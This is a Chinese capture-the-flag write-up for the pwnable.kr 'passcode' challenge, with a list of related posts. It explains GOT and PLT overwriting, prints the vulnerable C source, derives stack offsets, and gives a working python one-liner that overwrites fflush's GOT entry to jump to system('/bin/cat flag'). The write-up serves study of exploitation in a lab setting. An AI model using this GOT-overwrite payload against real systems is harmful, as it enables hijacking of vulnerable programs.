注:

这题涉及到了GOT覆写技术,我更新了一篇讲GOT覆写的文章,以这道题做的例子,讲的比较详细,大家可以参考一下:

http://blog.csdn.net/smalosnail/article/details/53247502

-----------------------------------------------------------------------------------------------------------------------------------------------------

这题拿到的时候根本找不到思路,哎,基础知识不够。于是补充了一下Linux关于GOT和PLT的知识

GOT表:

概念:每一个外部定义的符号在全局偏移表(Global offset Table )中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。

作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器(rtld)找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用rtld。

PLT表:

过程连接表(Procedure LinkageTable),一个PLT条目对应一个GOT条目

当main函数开始,会请求plt中这个函数的对应GOT地址,如果第一次调用那么GOT会重定位到plt,并向栈中压入一个偏移,程序的执行回到_init()函数,rtld得以调用就可以定位printf的符号地址,第二次运行程序再次调用这个函数时程序跳入plt,对应的GOT入口点就是真实的函数入口地址。

动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.

GOT覆写技术:

原理:由于got表是可写的,把其中的函数地址覆盖为我们shellcode地址,在程序进行调用这个函数时就会执行shellcode。

以上姿势来源: http://jing0107.lofter.com/post/1cbc869f_8b3d8a5

知识补充完毕,开始看题目

登录服务器后get题目源码如下:

#include <stdio.h>
#include <stdlib.h>void login(){int passcode1;int passcode2;printf("enter passcode1 : ");scanf("%d", passcode1);fflush(stdin);// ha! mommy told me that 32bit is vulnerable to bruteforcing :)printf("enter passcode2 : ");scanf("%d", passcode2);printf("checking...\n");if(passcode1==338150 && passcode2==13371337){printf("Login OK!\n");system("/bin/cat flag");}else{printf("Login Failed!\n");exit(0);}
}void welcome(){char name[100];printf("enter you name : ");scanf("%100s", name);printf("Welcome %s!\n", name);
}int main(){printf("Toddler's Secure Login System 1.0 beta.\n");welcome();login();// something after login...printf("Now I can safely trust you that you have credential :)\n");return 0;
}

思路:

看完源代码,发现只要 passcode1==338150 && passcode2==13371337就可以拿到flag,但是login()函数中的scanf("%d", passcode1);没有加&,没有办法把338150和13371337直接输入进去。但由于scanf没加&时会从栈中读取4个字节当scanf取的地址,并把scanf后输入的的内容存到那里,于是我们可以修改栈中的数据,写一个任意4字节的地址进去,来充当scanf取的地址。于是可以利用前面提到的GOT覆写技术,用一个GOT表中的函数地址来充当scanf取的地址,然后把system("/bin/cat flag")这条指令的地址通过scanf写到这个函数中,当这个函数被调用时,就会直接跳到system("/bin/cat flag")

有了思路做起来就轻松多了,首先查看一下GOT表中都有哪些函数

$ readelf -r ./passcode

看到了printf, fflush,exit 并且找到了system函数的偏移量,之后就是要确定变量name和passcode1,passcode2的位置。

$ objdump -d ./passcode 

找到name位于ebp-0x70,passcode1位于ebp-0x10,passcode2位于ebp-0xc
,name与passcode1之间隔了0x70-0x10=96个字节,用fflush()的地址覆盖passcode1后,scanf("%d",&fflush())将会把之后的输入写入到GOT表中,于是把login()中system("/bin/cat flag")的地址转换成十进制写进去,当程序调用fflush()的时候就会执行system()

$ python -c "print 'A'*96+'\x00\xa0\x04\x08'+'134514147\n'" | ./passcode

pwnable 笔记 Toddler's Bottle - passcode相关推荐

  1. pwnable 笔记 Toddler's Bottle -passcode

    题目 用ssh连接一下 运行一下passcode 竟然发现错误.. 可以发现需要输入 name passcode1 passcode2 再查看一下源代码 这个题一共有两个函数welcome()和log ...

  2. Pwnable之[Toddler's Bottle](一)

    Pwnable之[Toddler's Bottle] Pwn挑战地址 1.fd #include <stdio.h> #include <stdlib.h> #include ...

  3. Pwnable之[Toddler's Bottle](三)--unlink

    Pwnable之[Toddler's Bottle](三)–unlink 提示:how can I exploit unlink corruption 我该怎么利用断腐败??? 其实就是如何利用chu ...

  4. Pwnable之[Toddler's Bottle](三)--memcpy

    Pwnable之[Toddler's Bottle](三)–memcpy 提示是: Are you tired of hacking?, take some rest here. Just help ...

  5. Pwnable之[Toddler's Bottle](三)--UAF

    Pwnable之[Toddler's Bottle]–UAF UAF,use-after-free 顾名思义,就是释放过内存的重利用. 根据操作系统里的内存分配就知道,当分配给的一个代码释放后,如果再 ...

  6. Pwnable之[Toddler's Bottle](三)--asm

    Pwnable之[Toddler's Bottle](三)–ASM 提示:我觉得一个黑客应该知道怎么做shellcode 查看代码asm.c的代码 #include <stdio.h> # ...

  7. Pwnable之[Toddler's Bottle](二)

    Pwnable之[Toddler's Bottle](2) Pwn挑战地址 11.coin1 nc 连上. 要你玩一个游戏,游戏的规则是: 你手里拿了几枚金币. 然而,其中有一枚假币. 假币和真币一模 ...

  8. pwnable.rk [Toddler‘s Bottle]  5、passcode 详细过程

    最近在学习pwn,做到这个题搜了一些资料,弄了挺长时间,记录一下. passcode.c代码如下: #include <stdio.h> #include <stdlib.h> ...

  9. PWN学习之[Toddler''s Bottle]-[passcode]

    打开passcode.c,可以看到源码如下: #include <stdio.h> #include <stdlib.h>void login(){int passcode1; ...

最新文章

  1. 所有类是object的子类,但是又可以继承一个其他类解析
  2. python导入excel数据-python + Excel数据读取(更新)
  3. C#基础面试题(学习总结)
  4. mysql 多表联查的效率_Mysql 多表联合查询效率分析
  5. 关于 app测试工具
  6. JSON Web Token (JWT),服务端信息传输安全解决方案
  7. 简单获取PNG免扣素材,提升设计效率
  8. 单机mongodb最大_mongodb单机多实例主从配置
  9. USBKiller (U盘病毒专杀工具)绿色特别版V2.3 b0825
  10. 计算机操作员技术工作总结,计算机操作员工作总结
  11. 【论文解读 KDD 2018 | PME】PME: Projected Metric Embedding on Heterogeneous Networks for Link Prediction
  12. 关于Muster 5.5.7的奇怪问题
  13. 【PS基础】-照片拼接基础
  14. 有趣!10个你不得不知的Linux终端游戏
  15. Java基础break语句
  16. 微信分身服务器,苹果微信分身版
  17. Xcode10 开启暗黑模式(dark mode)
  18. webpack打包策略、treeShaking
  19. 请各位大虾帮我看看,这句是什么意思?
  20. [Z] 计算机类会议期刊根据引用数排名

热门文章

  1. 艺术~安全至上(SQL注入、CSRF攻击、DDoS攻击)
  2. python把字符串按照指定长度分割_python如何将字符串等长分割
  3. Audio Precision APx525 / APx515音频测试仪
  4. mvc html. 计算,MVC原理之计算器
  5. 38 个非常有用的 JavaScript 单行代码汇总
  6. 前端常用英文,持续更新中
  7. STC-B电路板实现实时温度检测与单位转换
  8. python chmod_Python os.chmod用法及代码示例
  9. 拼多多店铺没流量?怎么增加店铺流量?
  10. 用C#做个简单的计时器(秒表功能)